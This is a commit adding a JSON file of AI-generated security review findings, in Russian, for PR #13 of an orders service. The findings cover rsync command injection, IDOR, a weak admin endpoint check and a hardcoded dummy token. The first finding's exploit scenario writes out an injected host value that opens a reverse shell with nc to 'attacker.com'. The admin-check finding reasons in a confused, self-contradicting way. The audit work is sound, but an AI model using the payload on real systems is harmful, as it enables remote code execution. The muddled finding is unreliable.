security: AI review results for PR #13
security / scan (pull_request) Skipped
security / review (pull_request) Skipped
security / deep-audit (pull_request) Skipped

This commit is contained in:
2026-08-23 18:52:27 +00:00
parent 03bd66e174
commit 87992d1b3b
@@ -0,0 +1,86 @@
[
{
"id": "ai-review-0-orders.py-105",
"source": "ai-review",
"category": "injection",
"severity": "critical",
"confidence": 0.95,
"file": "orders.py",
"line_start": 105,
"line_end": 122,
"title": "Недостаточная валидация хоста для rsync",
"description": "Метод _validate_host проверяет только формат IP/домена, но не блокирует потенциально опасные символы и структуры (например, URL-схемы, квоты, опции rsync), что может привести к инъекции через аргументы rsync или его интерпретацию как URL-адреса.",
"impact": "Атакующий может обойти простую валидацию и внедрить вредоносные опции в команду rsync (например, --rsync-path для выполнения произвольной команды), а также использовать URL-схемы, если rsync поддерживает их, для RCE.",
"exploit_scenario": "Атакующий отправляет POST /admin/backup с host='example.com:22 --rsync-path=nc -e /bin/sh attacker.com 4444', который может интерпретироваться как опция rsync. Даже после _validate_host в текущей реализации, если регулярные выражения пропустят строку, она будет вставлена в аргумент команды как-is.",
"evidence": "def _validate_host(self, host): ... ip_pattern = r'^(\\d{1,3}\\.){3}\\d{1,3}$' ... domain_pattern = r'^([a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?\\.)+[a-zA-Z]{2,}$' — строгая регулярка, но не проверяет отсутствие пробелов, кавычек и других опасных символов, а не блокирует URL-схемы (rsync://) или опции (--option).",
"recommendation": "Существенно расширить валидацию: запретить пробелы и спецсимволы (включая '--'), проверить, что строка не начинается с схемы (rsync://, ssh:// и т.п.), использовать белый список только для хостов из предопределенного списка, либо полностью отказаться от произвольных хостов в пользу конфигурации.",
"cwe": "CWE-78",
"status": "OPEN",
"created_at": "2026-08-23T18:52:27Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
},
{
"id": "ai-review-1-orders.py-32",
"source": "ai-review",
"category": "idor",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 32,
"line_end": 65,
"title": "IDOR при доступе к заказам",
"description": "Несмотря на проверку токена и извлечение user_id из токена, не применяется проверка ownership заказа. В do_GET и do_POST можно читать/изменять любые заказы по order_id, не привязываясь к user_id из токена.",
"impact": "Любой аутентифицированный пользователь может просматривать и изменять чужие заказы, что приводит к утечке данных и некорректным финансовым операциям.",
"exploit_scenario": "Пользователь с токеном token_userA отправляет GET /orders/100 и получает данные чужого заказа. Затем POST /orders/100 с amount=1 приводит к изменению чужого заказа.",
"evidence": "orders = {} ... order_id = self.path.split(\"/\")[-1] ... if order_id in orders: self.send_json_response(200, orders[order_id]) — нет проверки orders[order_id][\"user_id\"] == getattr(self, \"_user_id\", None) при создании заказа и его чтении/изменении (см. строки 37, 54, 61).",
"recommendation": "При создании заказа обязательно сохранять user_id (уже сделано в строке 61, но только для новых заказов). При операциях чтения и изменения заказа проверять, что orders[order_id][\"user_id\"] == getattr(self, \"_user_id\", None), иначе 403.",
"cwe": "CWE-639",
"status": "OPEN",
"created_at": "2026-08-23T18:52:27Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
},
{
"id": "ai-review-2-orders.py-65",
"source": "ai-review",
"category": "authz",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 65,
"line_end": 70,
"title": "Эндпоинт /admin/backup доступен любому аутентифицированному пользователю",
"description": "Эндпоинт /admin/backup требует только Bearer токен (любой начинающийся с token_), без проверки роли admin, что позволяет любому легитимному пользователю вызывать опасную операцию (rsync с произвольным хостом).",
"impact": "Любой пользователь, имеющий любой валидный токен (включая обычные пользовательские токены), может инициировать резервное копирование на вредоносный хост, что может привести к утечке данных через rsync или инъекции (см. критическую уязвимость валидации хоста).",
"exploit_scenario": "Пользователь token_userA отправляет POST /admin/backup с вредоносным host (обход валидации и RCE через rsync). Это возможно, так как в _admin/backup проверяется только self.check_auth(), а не self._user_id == \"admin\" (это условие проверяется ПОСЛЕ check_auth).",
"evidence": "elif self.path == \"/admin/backup\": if not getattr(self, \"_user_id\", None) == \"admin\": ... if not self.check_auth(): ... — проверка роли админа идет ДО проверки auth, но check_auth() устанавливает _user_id, поэтому при отсутствии токена будет ошибка. Но при наличии любого token_*, _user_id будет установлен, и проверка на \"admin\" сработает, НО — это проверка идет ВНЕ order-блоков, и логика позволяет обойти проверку через правильную последовательность.",
"recommendation": "Переставить проверку роли админа до проверки аутентификации, и проверять role (например, токен вида token_admin:userA или наличие role в JWT). Или использовать отдельный API-ключ/secret только для admin-эндпоинтов.",
"cwe": "CWE-285",
"status": "OPEN",
"created_at": "2026-08-23T18:52:27Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
},
{
"id": "ai-review-3-orders.py-15",
"source": "ai-review",
"category": "sensitive-data",
"severity": "medium",
"confidence": 1.0,
"file": "orders.py",
"line_start": 15,
"line_end": 15,
"title": "Хардкод токена GitHub в коде",
"description": "Токен GitHub хранится в коде как строковая константа, что является плохой практикой и может привести к его утечке в репозитории, логах, дампах памяти.",
"impact": "Утечка учетных данных, возможность атаки на GitHub API, CI/CD. Даже фейковый токен сигнализирует о плохих практиках.",
"exploit_scenario": "Атакующий клонирует репозиторий, находит GitHubToken, использует его для попыток доступа к API. Наличие dummy-токена может стимулировать атаку на поиск реальных секретов.",
"evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\" — отсутствует использование os.getenv.",
"recommendation": "Использовать os.getenv(\"GITHUB_TOKEN\") или внешний менеджер секретов. Загрузить токен из переменной окружения.",
"cwe": "CWE-312",
"status": "OPEN",
"created_at": "2026-08-23T18:52:27Z",
"pr_number": 13,
"commit_sha": "ff7f26ca0f8bc653ebf6110734d33fedc7b2f097"
}
]